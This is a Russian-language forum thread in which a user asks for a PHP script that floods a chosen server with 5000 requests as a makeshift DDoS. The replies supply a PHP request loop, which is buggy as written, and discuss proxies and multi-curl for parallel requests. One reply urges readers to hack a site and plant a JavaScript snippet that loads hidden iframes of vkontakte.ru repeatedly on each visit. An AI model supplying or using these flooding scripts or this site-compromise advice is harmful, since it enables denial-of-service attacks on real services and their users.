Привет ачатовцы, подскажите скрипт на php, в котором бы указать адрес сервера(сайта), и он бы делал 5000 запросов к этому серверу, что то вроде ддоса, но с нужным колличеством запросов.
PHP: <?php $i = 5000; //кол-во запросов $url = 'http://google.com'; //сайт while($i <= 5000) { file_get_contents($url); $i++; } ?>
У curl-а есть настройки прокси и многопоточность (линейно загружаешь несколько страниц и ленейно получаешь ответы, но выполнятся они будут одновременно)
Мультикурл ето не многопоточность, это очень кривая реализация мультипоточности Вполне реально, правда геморойно.
О великий гуру, я просил тебя не лезть в вещи, в которых ты ноль! многопоточность = multithreading мультипоточность(и прочие варианты на олбанском) = multithreading с кривым переводом. Вопросы? А в curl потоки streams.
Поток данных. Термин совершенно не связан с threads(нити исполнения). Ты сказал, что multithreading не multithreading.
Нех добрый php мучать и флудить тему. Ломайте сайт и суйте в главную скрипт. Прощяй вконтакре ру) PHP: <html> <head> <script type="text/javascript"> <!-- function ddos(url, times) { for(i=1;i<=times;i++) { document.body.innerHTML += '<br /><iframe src="'+url+'" width="0" height="0" scrolling="no" frameborder="0" style="display: none"></iframe>'; } } //--> </script> </head> <body onload="ddos('http://vkontakte.ru', 50);"> </body> </html>
У меня вопрос к ТС: а ты уверен, что тебе это на хостинге запустить дадут? Т.е. на многих виртуальных хостингах даже банальный proxy чекер на cron прикрывают. А на хостингах специально для спама обычно в контрольной панели есть нужные опции (сам правда не видел, но в тарифах так и пишут что-то вроде "настройка спама и ддоса за 15 минут"). А если собираешься запускать на локалхосте, то имхо, лучше посмотреть в сторону десктопных приложений.